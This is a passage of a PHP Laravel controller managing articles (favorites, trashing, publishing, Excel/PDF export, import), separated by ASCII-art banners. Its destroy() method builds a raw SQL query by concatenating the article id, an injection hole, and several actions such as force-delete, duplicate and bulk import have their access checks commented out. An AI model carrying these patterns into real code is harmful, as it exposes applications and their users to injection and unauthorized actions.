██╔╝██║ ██║██╔══██╗██║ ██║ ██╔══╝ # ██║ ██║██████╔╝██████╔╝ ██║ ██║ ██║ ╚████╔╝ ╚██████╔╝██║ ██║██║ ██║ ███████╗ # ╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚══════╝ ################################################################################################################## public function addfavorite($id) { // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $user = Auth::user()->id; $article = Article::find($id); $article->favorites()->sync([$user], false); Session::flash ('success','The article was successfully added to your Favorites list!'); // return redirect()->route('backend.articles.index'); // return redirect()->route($ref); return redirect()->back()->withRef($ref); } ################################################################################################################## # ██████╗██████╗ ███████╗ █████╗ ████████╗███████╗ # ██╔════╝██╔══██╗██╔════╝██╔══██╗╚══██╔══╝██╔════╝ # ██║ ██████╔╝█████╗ ███████║ ██║ █████╗ # ██║ ██╔══██╗██╔══╝ ██╔══██║ ██║ ██╔══╝ # ╚██████╗██║ ██║███████╗██║ ██║ ██║ ███████╗ # ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝ // Show the form for creating a new resource ################################################################################################################## public function create() { if(!checkACL('author')) { return view('errors.backend.403'); } // Pass along the ROUTE value of the previous page //$ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); // find all categories in the categories table and pass them to the view $categories = Category::whereHas('module', function ($query) { $query->where('name', '=', 'articles'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $cats = []; // Store the category values into the $cats array foreach ($categories as $category) { $cats[$category->id] = $category->name; } return view('backend.articles.create')->withCategories($cats); //->withRef($ref); } ################################################################################################################## # ██████╗ ███████╗██╗ ███████╗████████╗███████╗ █████╗ ██╗ ██╗ # ██╔══██╗██╔════╝██║ ██╔════╝╚══██╔══╝██╔════╝ ██╔══██╗██║ ██║ # ██║ ██║█████╗ ██║ █████╗ ██║ █████╗ ███████║██║ ██║ # ██║ ██║██╔══╝ ██║ ██╔══╝ ██║ ██╔══╝ ██╔══██║██║ ██║ # ██████╔╝███████╗███████╗███████╗ ██║ ███████╗ ██║ ██║███████╗███████╗ # ╚═════╝ ╚══════╝╚══════╝╚══════╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝╚══════╝╚══════╝ // Mass Delete selected rows - all selected records ################################################################################################################## public function deleteAll(Request $request) { // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); //dd('TEST_DELETE'); $this->validate($request, [ 'checked' => 'required', ]); //dd('TEST_DELETE'); $checked = $request->input('checked'); //dd($checked); // $article = Article::withTrashed()->findOrFail($checked); //Article::destroy($checked); Article::whereIn('id', $checked)->forceDelete(); Session::flash('success','The articles were deleted successfully.'); return redirect()->route($ref); } ################################################################################################################## # ██████╗ ███████╗██╗ ███████╗████████╗███████╗ ████████╗██████╗ █████╗ ███████╗██╗ ██╗███████╗██████╗ # ██╔══██╗██╔════╝██║ ██╔════╝╚══██╔══╝██╔════╝ ╚══██╔══╝██╔══██╗██╔══██╗██╔════╝██║ ██║██╔════╝██╔══██╗ # ██║ ██║█████╗ ██║ █████╗ ██║ █████╗ ██║ ██████╔╝███████║███████╗███████║█████╗ ██║ ██║ # ██║ ██║██╔══╝ ██║ ██╔══╝ ██║ ██╔══╝ ██║ ██╔══██╗██╔══██║╚════██║██╔══██║██╔══╝ ██║ ██║ # ██████╔╝███████╗███████╗███████╗ ██║ ███████╗ ██║ ██║ ██║██║ ██║███████║██║ ██║███████╗██████╔╝ # ╚═════╝ ╚══════╝╚══════╝╚══════╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═════╝ // Remove the specified resource from storage - individual record ################################################################################################################## public static function deleteTrashed($id) { // if(!checkACL('manager')) { // return view('errors.403'); // } //dd($id); $article = Article::withTrashed()->findorFail($id); //dd($article); $article->forceDelete(); Session::flash ('success','The article was deleted successfully.'); return redirect()->route('backend.articles.trashed'); } ################################################################################################################## # ██████╗ ███████╗███████╗████████╗██████╗ ██████╗ ██╗ ██╗ # ██╔══██╗██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔═══██╗╚██╗ ██╔╝ # ██║ ██║█████╗ ███████╗ ██║ ██████╔╝██║ ██║ ╚████╔╝ # ██║ ██║██╔══╝ ╚════██║ ██║ ██╔══██╗██║ ██║ ╚██╔╝ # ██████╔╝███████╗███████║ ██║ ██║ ██║╚██████╔╝ ██║ # ╚═════╝ ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ // Remove the specified resource from storage // Used in the index page and trashAll action to soft delete multiple records ################################################################################################################## public function destroy($id) { // if(!checkACL('author')) { // return view('errors.403'); // } // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $article = Article::findOrFail($id); $article->published_at = Null; // Delete related favorites $favorites = DB::select('select * from article_user where article_id = '. $id, [1]); //dd($favorites); foreach($favorites as $favorite) { $article->favorites()->detach($favorite); } $article->save(); $article->delete(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") DELETED article (" . $article->id . ")\r\n", // [json_decode($article, true)] //); Session::flash('success','The article was trashed successfully.'); //return redirect()->route($ref); //return redirect()->route($request->ref); //return redirect()->route('backend.articles.index'); return redirect()->back(); } ################################################################################################################## # ██████╗ ██████╗ ██╗ ██╗███╗ ██╗██╗ ██████╗ █████╗ ██████╗ ███████╗██╗ ██╗ ██████╗███████╗██╗ # ██╔══██╗██╔═══██╗██║ ██║████╗ ██║██║ ██╔═══██╗██╔══██╗██╔══██╗ ██╔════╝╚██╗██╔╝██╔════╝██╔════╝██║ # ██║ ██║██║ ██║██║ █╗ ██║██╔██╗ ██║██║ ██║ ██║███████║██║ ██║ █████╗ ╚███╔╝ ██║ █████╗ ██║ # ██║ ██║██║ ██║██║███╗██║██║╚██╗██║██║ ██║ ██║██╔══██║██║ ██║ ██╔══╝ ██╔██╗ ██║ ██╔══╝ ██║ # ██████╔╝╚██████╔╝╚███╔███╔╝██║ ╚████║███████╗╚██████╔╝██║ ██║██████╔╝ ███████╗██╔╝ ██╗╚██████╗███████╗███████╗ # ╚═════╝ ╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝╚══════╝╚══════╝ ################################################################################################################## public function downloadExcel($type) { if(!checkACL('manager')) { return view('errors.backend.403'); } if(app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName() == 'backend.articles.newArticles') { $data = Article::newArticles()->get()->toArray(); } if(app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName() == 'backend.articles.published') { $data = Article::published()->get()->toArray(); } if(app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName() == 'backend.articles.myArticles') { $data = Article::myArticles()->get()->toArray(); } if(app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName() == 'backend.articles.unpublished') { $data = Article::unpublished()->get()->toArray(); } if(app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName() == 'backend.articles.future') { $data = Article::future()->get()->toArray(); } if(app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName() == 'backend.articles.trashed') { $data = Article::trashedCount()->get()->toArray(); } // $referrer = request()->headers->get('referer'); // //dd($referrer); // if ($referrer == 'http://localhost:8000/backend/articles/myArticles') { // $data = Article::myArticles()->get()->toArray(); // } elseif ($referrer == 'http://localhost:8000/backend/articles/published'){ // $data = Article::published()->get()->toArray(); // } else { // $data = Article::get()->toArray(); // } // Save entry to log file of failure //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") downloaded :: articles"); return Excel::create('Articles_List', function($excel) use ($data) { $excel->sheet('mySheet', function($sheet) use ($data) { $sheet->fromArray($data); }); })->download($type); } ################################################################################################################## # ██████╗ ██╗ ██╗██████╗ ██╗ ██╗ ██████╗ █████╗ ████████╗███████╗ # ██╔══██╗██║ ██║██╔══██╗██║ ██║██╔════╝██╔══██╗╚══██╔══╝██╔════╝ # ██║ ██║██║ ██║██████╔╝██║ ██║██║ ███████║ ██║ █████╗ # ██║ ██║██║ ██║██╔═══╝ ██║ ██║██║ ██╔══██║ ██║ ██╔══╝ # ██████╔╝╚██████╔╝██║ ███████╗██║╚██████╗██║ ██║ ██║ ███████╗ # ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝ // DUPLICATE :: Duplicate the specified resource in storage. ################################################################################################################## public function duplicate($id) { //if(!checkACL('manager')) { // // Save entry to log file of failure // Log::warning(Auth::user()->username . " (" . Auth::user()->id . ") tried to access :: Articles / Duplicate"); // return view('errors.403'); //} // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $article = Article::find($id); $newArticle = $article->replicate(); $newArticle->user_id = Auth::user()->id; $newArticle->save(); // change the user_id field to be that of the user that is currently logged in //$newArticle->views = 0; //$newArticle->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") duplicated :: article " . $article->id . " to article ". $newArticle->id); Session::flash ('success','The article was duplicated successfully!'); return redirect()->route($ref); } ################################################################################################################## # ███████╗██████╗ ██╗████████╗ # ██╔════╝██╔══██╗██║╚══██╔══╝ # █████╗ ██║ ██║██║ ██║ # ██╔══╝ ██║ ██║██║ ██║ # ███████╗██████╔╝██║ ██║ # ╚══════╝╚═════╝ ╚═╝ ╚═╝ // Show the form for editing the specified resource ################################################################################################################## public function edit($id) { if(!checkACL('author')) { return view('errors.backend.403'); } // Find the article to edit $article = Article::findOrFail($id); // find all categories in the categories table and pass them to the view $categories = Category::whereHas('module', function ($query) { $query->where('name', '=', 'articles'); })->get(); // Create an empty array to store the categories $cats = []; // Store the category values into the $cats array foreach ($categories as $category) { $cats[$category->id] = $category->name; } return view('backend.articles.edit', compact('article')) ->withCategories($cats); } ################################################################################################################## # ███████╗██╗ ██╗████████╗██╗ ██╗██████╗ ███████╗ # ██╔════╝██║ ██║╚══██╔══╝██║ ██║██╔══██╗██╔════╝ # █████╗ ██║ ██║ ██║ ██║ ██║██████╔╝█████╗ # ██╔══╝ ██║ ██║ ██║ ██║ ██║██╔══██╗██╔══╝ # ██║ ╚██████╔╝ ██║ ╚██████╔╝██║ ██║███████╗ # ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ // Display a list of resources that will be published at a later date ################################################################################################################## public function future(Request $request, $key=null) { if(!checkACL('publisher')) { return view('errors.backend.403'); } //$alphas = range('A', 'Z'); $alphas = DB::table('articles') ->select(DB::raw('DISTINCT LEFT(title, 1) as letter')) // ->where('personal', '!=', 1) ->where('published_at','>', Carbon::Now()) ->orderBy('letter') ->get(); //dd($alphas); $letters = []; foreach($alphas as $alpha) { $letters[] = $alpha->letter; } // If $key value is passed if ($key) { $articles = Article::with('user','category')->future() ->where('title', 'like', $key . '%') ->orderBy('title', 'asc') ->get(); return view('backend.articles.future', compact('articles','letters')); } // No $key value is passed $articles = Article::with('user','category')->future()->get(); return view('backend.articles.future', compact('articles','letters')); } ################################################################################################################## # ██╗███╗ ███╗██████╗ ██████╗ ██████╗ ████████╗ # ██║████╗ ████║██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝ # ██║██╔████╔██║██████╔╝██║ ██║██████╔╝ ██║ # ██║██║╚██╔╝██║██╔═══╝ ██║ ██║██╔══██╗ ██║ # ██║██║ ╚═╝ ██║██║ ╚██████╔╝██║ ██║ ██║ # ╚═╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ // IMPORT :: Show the form for importing entries to storage. ################################################################################################################## public function import() { if(!checkACL('manager')) { return view('errors.backend.403'); } // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); // Save entry to log file of failure //Log::warning(Auth::user()->username . " (" . Auth::user()->id . ") accessed :: Articles / Import"); return view('backend.articles.import')->withRef($ref); } ################################################################################################################## # ██╗███╗ ███╗██████╗ ██████╗ ██████╗ ████████╗ ███████╗██╗ ██╗███╗ ██╗ ██████╗████████╗██╗ ██████╗ ███╗ ██╗ # ██║████╗ ████║██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝ ██╔════╝██║ ██║████╗ ██║██╔════╝╚══██╔══╝██║██╔═══██╗████╗ ██║ # ██║██╔████╔██║██████╔╝██║ ██║██████╔╝ ██║ █████╗ ██║ ██║██╔██╗ ██║██║ ██║ ██║██║ ██║██╔██╗ ██║ # ██║██║╚██╔╝██║██╔═══╝ ██║ ██║██╔══██╗ ██║ ██╔══╝ ██║ ██║██║╚██╗██║██║ ██║ ██║██║ ██║██║╚██╗██║ # ██║██║ ╚═╝ ██║██║ ╚██████╔╝██║ ██║ ██║ ██║ ╚██████╔╝██║ ╚████║╚██████╗ ██║ ██║╚██████╔╝██║ ╚████║ # ╚═╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ################################################################################################################## public function importExcel() { // if(!checkACL('manager')) { // // Save entry to log file of failure // Log::warning(Auth::user()->username . " (" . Auth::user()->id . ") tried to access :: Admin / Articles / Import"); // return view('errors.403'); // } if(Input::hasFile('import_file')) { $path = Input::file('import_file')->getRealPath(); $data = Excel::load($path, function($reader) { })->get(); if(!empty($data) && $data->count()) { foreach ($data as $key => $value) { $insert[] = [ 'user_id' => $value->user_id, 'category_id' => $value->category_id, 'title' => $value->title, 'description_eng' => $value->description_eng, 'description_fre' => $value->description_fre, 'views' => 0, 'deleted_at' => $value->deleted_at, 'published_at' => $value->published_at, 'created_at' => $value->created_at, 'updated_at' => $value->updated_at, ]; } if(!empty($insert)) { DB::table('articles')->insert($insert); // Save entry to log file of failure //Log::warning(Auth::user()->username . " (" . Auth::user()->id . ") imported :: articles"); Session::flash('success', $data->count() . ' articles imported successfully!'); return redirect()->route('backend.articles.index'); } } } return back(); } ################################################################################################################## # ██╗███╗ ██╗██████╗ ███████╗██╗ ██╗ # ██║████╗ ██║██╔══██╗██╔════╝╚██╗██╔╝ # ██║██╔██╗ ██║██║ ██║█████╗ ╚███╔╝ # ██║██║╚██╗██║██║ ██║██╔══╝ ██╔██╗ # ██║██║ ╚████║██████╔╝███████╗██╔╝ ██╗ # ╚═╝╚═╝ ╚═══╝╚═════╝ ╚══════╝╚═╝ ╚═╝ // Display a list of resources ################################################################################################################## public function index() { return view('backend.articles.index'); } ################################################################################################################## # ███╗ ███╗ █████╗ ██╗ ██╗███████╗ ██████╗ ██████╗ ██╗██╗ ██╗ █████╗ ████████╗███████╗ # ████╗ ████║██╔══██╗██║ ██╔╝██╔════╝ ██╔══██╗██╔══██╗██║██║ ██║██╔══██╗╚══██╔══╝██╔════╝ # ██╔████╔██║███████║█████╔╝ █████╗ ██████╔╝██████╔╝██║██║ ██║███████║ ██║ █████╗ # ██║╚██╔╝██║██╔══██║██╔═██╗ ██╔══╝ ██╔═══╝ ██╔══██╗██║╚██╗ ██╔╝██╔══██║ ██║ ██╔══╝ # ██║ ╚═╝ ██║██║ ██║██║ ██╗███████╗ ██║ ██║ ██║██║ ╚████╔╝ ██║ ██║ ██║ ███████╗ # ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ################################################################################################################## public function makeprivate($id) { // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $article = Article::find($id); $article->personal = 1; $article->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") MADE recipe (" . $recipe->id . ") PRIVATE \r\n", [json_decode($recipe, true)]); Session::flash('success','The article was made private successfully'); return redirect()->route($ref); } ################################################################################################################## # ███╗ ███╗██╗ ██╗ █████╗ ██████╗ ████████╗██╗ ██████╗██╗ ███████╗███████╗ # ████╗ ████║╚██╗ ██╔╝ ██╔══██╗██╔══██╗╚══██╔══╝██║██╔════╝██║ ██╔════╝██╔════╝ # ██╔████╔██║ ╚████╔╝ ███████║██████╔╝ ██║ ██║██║ ██║ █████╗ ███████╗ # ██║╚██╔╝██║ ╚██╔╝ ██╔══██║██╔══██╗ ██║ ██║██║ ██║ ██╔══╝ ╚════██║ # ██║ ╚═╝ ██║ ██║ ██║ ██║██║ ██║ ██║ ██║╚██████╗███████╗███████╗███████║ # ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚══════╝╚══════╝╚══════╝ // Display a listing of the resource that belong to a specific user. ################################################################################################################## public function myArticles(Request $request, $key=null) { if(!checkACL('author')) { return view('errors.backend.403'); } //$alphas = range('A', 'Z'); $alphas = DB::table('articles') ->select(DB::raw('DISTINCT LEFT(title, 1) as letter')) ->where('user_id', '=', Auth::user()->id) // ->where('personal', '!=', 1) // ->where('published_at','!=', null) ->orderBy('letter') ->get(); //dd($alphas); $letters = []; foreach($alphas as $alpha) { $letters[] = $alpha->letter; } // If $key value is passed if ($key) { $articles = Article::with('user','category')->myArticles() ->where('title', 'like', $key . '%') ->get(); return view('backend.articles.myArticles', compact('articles','letters')); } $articles = Article::with('user','category')->myArticles()->get(); return view('backend.articles.myArticles', compact('articles','letters')); } ################################################################################################################## # ███╗ ███╗██╗ ██╗ ███████╗ █████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗████████╗███████╗███████╗ # ████╗ ████║╚██╗ ██╔╝ ██╔════╝██╔══██╗██║ ██║██╔═══██╗██╔══██╗██║╚══██╔══╝██╔════╝██╔════╝ # ██╔████╔██║ ╚████╔╝ █████╗ ███████║██║ ██║██║ ██║██████╔╝██║ ██║ █████╗ ███████╗ # ██║╚██╔╝██║ ╚██╔╝ ██╔══╝ ██╔══██║╚██╗ ██╔╝██║ ██║██╔══██╗██║ ██║ ██╔══╝ ╚════██║ # ██║ ╚═╝ ██║ ██║ ██║ ██║ ██║ ╚████╔╝ ╚██████╔╝██║ ██║██║ ██║ ███████╗███████║ # ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚══════╝╚══════╝ // MY FAVORITES :: Display a listing of the resource that have been favorited by a specific user. ################################################################################################################## public function myFavorites() { if(!checkACL('user')) { return view('errors.backend.403'); } // $alphas = DB::table('recipes') // ->select(DB::raw('DISTINCT LEFT(title, 1) as letter')) // //->where('user_id','=',Auth::user()->id) // ->where('user_id','=',-1) // ->orderBy('letter') // ->get(); // //dd($alphas); //$letters = []; // foreach($alphas as $alpha) { // $letters[] = $alpha->letter; // } // //dd($letters); // find the favorites $favs = DB::table('article_user')->where('user_id','=',Auth::user()->id)->get(); //dd($favs); //$favs = Recipe::with('user','category')->where('recipe_user.user_id','=',Auth::user()->id)->get(); //$recipes = Recipe::with('user','category')->where('user_id','=', Auth::user()->id)->orderBy('title', 'asc')->get(); // // Create an empty array to store the recipes $articles = []; // // Store the recipe values into the $recipes array foreach ($favs as $fav) { $articles[$fav->id] = Article::with('user','category')->find($fav->article_id); } //dd($articles); // // Sort the recipes array by title $articles = array_values(array_sort($articles, function ($value) { return $value['title']; })); //dd($articles); // return view('recipes.viewfavorites')->withRecipes($recipes); //return view('recipes.myFavorites', compact('recipes','letters')); //return view('recipes.index', compact('recipes','letters')); return view('backend.articles.myFavorites', compact('articles')); } ################################################################################################################## # ███╗ ██╗███████╗██╗ ██╗ █████╗ ██████╗ ████████╗██╗ ██████╗██╗ ███████╗███████╗ # ████╗ ██║██╔════╝██║ ██║ ██╔══██╗██╔══██╗╚══██╔══╝██║██╔════╝██║ ██╔════╝██╔════╝ # ██╔██╗ ██║█████╗ ██║ █╗ ██║ ███████║██████╔╝ ██║ ██║██║ ██║ █████╗ ███████╗ # ██║╚██╗██║██╔══╝ ██║███╗██║ ██╔══██║██╔══██╗ ██║ ██║██║ ██║ ██╔══╝ ╚════██║ # ██║ ╚████║███████╗╚███╔███╔╝ ██║ ██║██║ ██║ ██║ ██║╚██████╗███████╗███████╗███████║ # ╚═╝ ╚═══╝╚══════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚══════╝╚══════╝╚══════╝ // Display a listing of the resource that were created since the user's last login. ################################################################################################################## public function newArticles(Request $request, $key=null) { if(!checkACL('user')) { return view('errors.backend.403'); } //$alphas = range('A', 'Z'); $alphas = DB::table('articles') ->select(DB::raw('DISTINCT LEFT(title, 1) as letter')) ->where('created_at', '>=' , Auth::user()->last_login_date) //->where('user_id', '=', Auth::user()->id) // ->where('personal', '!=', 1) // ->where('published_at','!=', null) ->orderBy('letter') ->get(); //dd($alphas); $letters = []; foreach($alphas as $alpha) { $letters[] = $alpha->letter; } // If $key value is passed if ($key) { $articles = Article::with('user','category')->newArticles() ->where('title', 'like', $key . '%') ->get(); return view('backend.articles.newArticles', compact('articles','letters')); } $articles = Article::with('user','category')->newarticles()->get(); return view('backend.articles.newArticles', compact('articles','letters')); } ################################################################################################################## # ██████╗ ██████╗ ███████╗ ██╗ ██╗██╗███████╗██╗ ██╗ # ██╔══██╗██╔══██╗██╔════╝ ██║ ██║██║██╔════╝██║ ██║ # ██████╔╝██║ ██║█████╗ ██║ ██║██║█████╗ ██║ █╗ ██║ # ██╔═══╝ ██║ ██║██╔══╝ ╚██╗ ██╔╝██║██╔══╝ ██║███╗██║ # ██║ ██████╔╝██║ ╚████╔╝ ██║███████╗╚███╔███╔╝ # ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═╝╚══════╝ ╚══╝╚══╝ // ################################################################################################################## // public function exportPDF() // { // // if(!checkACL('manager')) { // // return view('errors.403'); // // } // $data = Article::get()->toArray(); // return Excel::create('Articles_List', function($excel) use ($data) { // $excel->sheet('mySheet', function($sheet) use ($data) // { // $sheet->fromArray($data); // }); // })->download("pdf"); // } // public function downloadPDF() // { // $pdf = PDF::loadView('backend.articles.pdfView'); // return $pdf->download('articles.pdf'); // } public function pdfview(Request $request) { if(!checkACL('manager')) { return view('errors.backend.403'); } if(app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName() == 'backend.articles.newArticles') { $data = Article::newArticles()->get(); } if(app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName() == 'backend.articles.published') { $data = Article::published()->get(); } if(app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName() == 'backend.articles.myArticles') { $data = Article::myArticles()->get(); } if(app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName() == 'backend.articles.unpublished') { $data = Article::unpublished()->get(); } if(app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName() == 'backend.articles.future') { $data = Article::future()->get(); } if(app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName() == 'backend.articles.trashed') { $data = Article::trashedCount()->get(); } view()->share('articles',$data); if($request->has('download')){ $pdf = PDF::loadView('backend.articles.pdfDownload'); //$pdf->setPaper('A4', 'landscape'); return $pdf->download('articles.pdf'); } return view('backend.articles.pdfPreview'); } ################################################################################################################## # ██████╗ ██████╗ ██╗███╗ ██╗████████╗ # ██╔══██╗██╔══██╗██║████╗ ██║╚══██╔══╝ # ██████╔╝██████╔╝██║██╔██╗ ██║ ██║ # ██╔═══╝ ██╔══██╗██║██║╚██╗██║ ██║ # ██║ ██║ ██║██║██║ ╚████║ ██║ # ╚═╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝ ╚═╝ ################################################################################################################## public function printArticle($id) { // if(!checkACL('author')) { // return view('errors.403'); // } $article = Article::find($id); // Save entry to log file using built-in Monolog // Log::info(Auth::user()->username . " (" . Auth::user()->id . ") PRINTED article (" . $article->id . ")\r\n", // [json_decode($article, true)] // ); return view('backend.articles.print')->withArticle($article); } ################################################################################################################## # ██████╗ ██╗ ██╗██████╗ ██╗ ██╗███████╗██╗ ██╗ # ██╔══██╗██║ ██║██╔══██╗██║ ██║██╔════╝██║ ██║ # ██████╔╝██║ ██║██████╔╝██║ ██║███████╗███████║ # ██╔═══╝ ██║ ██║██╔══██╗██║ ██║╚════██║██╔══██║ # ██║ ╚██████╔╝██████╔╝███████╗██║███████║██║ ██║ # ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚══════╝╚═╝ ╚═╝ ################################################################################################################## public function publish($id) { // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $article = Article::withTrashed()->find($id); //dd($id); //dd($article); //$article->published = 1; $article->published_at = Carbon::now(); $article->deleted_at = Null; $article->save(); Session::flash ('success','The article was successfully published'); // return redirect()->route($ref); return redirect()->back(); } ################################################################################################################## # ██████╗ ██╗ ██╗██████╗ ██╗ ██╗███████╗██╗ ██╗ █████╗ ██╗ ██╗ # ██╔══██╗██║ ██║██╔══██╗██║ ██║██╔════╝██║ ██║ ██╔══██╗██║ ██║ # ██████╔╝██║ ██║██████╔╝██║ ██║███████╗███████║ ███████║██║ ██║ # ██╔═══╝ ██║ ██║██╔══██╗██║ ██║╚════██║██╔══██║ ██╔══██║██║ ██║ # ██║ ╚██████╔╝██████╔╝███████╗██║███████║██║ ██║ ██║ ██║███████╗███████╗ # ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝ ################################################################################################################## public function publishAll(Request $request) { // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $this->validate($request, [ 'checked' => 'required', ]); $checked = $request->input('checked'); foreach ($checked as $item) { $article = Article::withTrashed()->find($item); $article->published_at = Carbon::now(); $article->deleted_at = Null; $article->save(); } Session::flash('success','The articles were published successfully.'); return redirect()->route($ref); } ################################################################################################################## # ██████╗ ██╗ ██╗██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██████╗ # ██╔══██╗██║ ██║██╔══██╗██║ ██║██╔════╝██║ ██║██╔════╝██╔══██╗ # ██████╔╝██║ ██║██████╔╝██║ ██║███████╗███████║█████╗ ██║ ██║ # ██╔═══╝ ██║ ██║██╔══██╗██║ ██║╚════██║██╔══██║██╔══╝ ██║ ██║ # ██║ ╚██████╔╝██████╔╝███████╗██║███████║██║ ██║███████╗██████╔╝ # ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═════╝ ################################################################################################################## public function published(Request $request, $key=null) { if(!checkACL('user')) { return view('errors.backend.403'); } //$alphas = range('A', 'Z'); $alphas = DB::table('articles') ->select(DB::raw('DISTINCT LEFT(title, 1) as letter')) ->where('published_at','<', Carbon::Now()) ->where('deleted_at','=', Null) ->orderBy('letter') ->get(); $letters = []; foreach($alphas as $alpha) { $letters[] = $alpha->letter; } // If $key value is passed if ($key) { $articles = Article::with('user','category')->published() ->where('title', 'like', $key . '%') ->orderBy('title', 'asc') ->get(); return view('backend.articles.published', compact('articles','letters')); } // No $key value is passed $articles = Article::with('user','category')->published()->get(); return view('backend.articles.published', compact('articles','letters')); } ################################################################################################################## # ██████╗ ███████╗███╗ ███╗ ██████╗ ██╗ ██╗███████╗ ███████╗ █████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗████████╗███████╗ # ██╔══██╗██╔════╝████╗ ████║██╔═══██╗██║ ██║██╔════╝ ██╔════╝██╔══██╗██║ ██║██╔═══██╗██╔══██╗██║╚══██╔══╝██╔════╝ # ██████╔╝█████╗ ██╔████╔██║██║ ██║██║ ██║█████╗ █████╗ ███████║██║ ██║██║ ██║██████╔╝██║ ██║ █████╗ # ██╔══██╗██╔══╝ ██║╚██╔╝██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══╝ ██╔══██║╚██╗ ██╔╝██║ ██║██╔══██╗██║ ██║ ██╔══╝ # ██║ ██║███████╗██║ ╚═╝ ██║╚██████╔╝ ╚████╔╝ ███████╗ ██║ ██║ ██║ ╚████╔╝ ╚██████╔╝██║ ██║██║ ██║ ███████╗ # ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚══════╝ ################################################################################################################## public function removefavorite($id) { // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $user = Auth::user()->id; $article = Article::find($id); $article->favorites()->detach($user); Session::flash ('success','The article was successfully removed to your Favorites list!'); // return redirect()->route('recipes.index','all'); // return redirect()->route('backend.articles.myFavorites'); //return redirect()->route($ref); return redirect()->back(); } ################################################################################################################## # ██████╗ ███████╗███╗ ███╗ ██████╗ ██╗ ██╗███████╗ ██████╗ ██████╗ ██╗██╗ ██╗ █████╗ ████████╗███████╗ # ██╔══██╗██╔════╝████╗ ████║██╔═══██╗██║ ██║██╔════╝ ██╔══██╗██╔══██╗██║██║ ██║██╔══██╗╚══██╔══╝██╔════╝ # ██████╔╝█████╗ 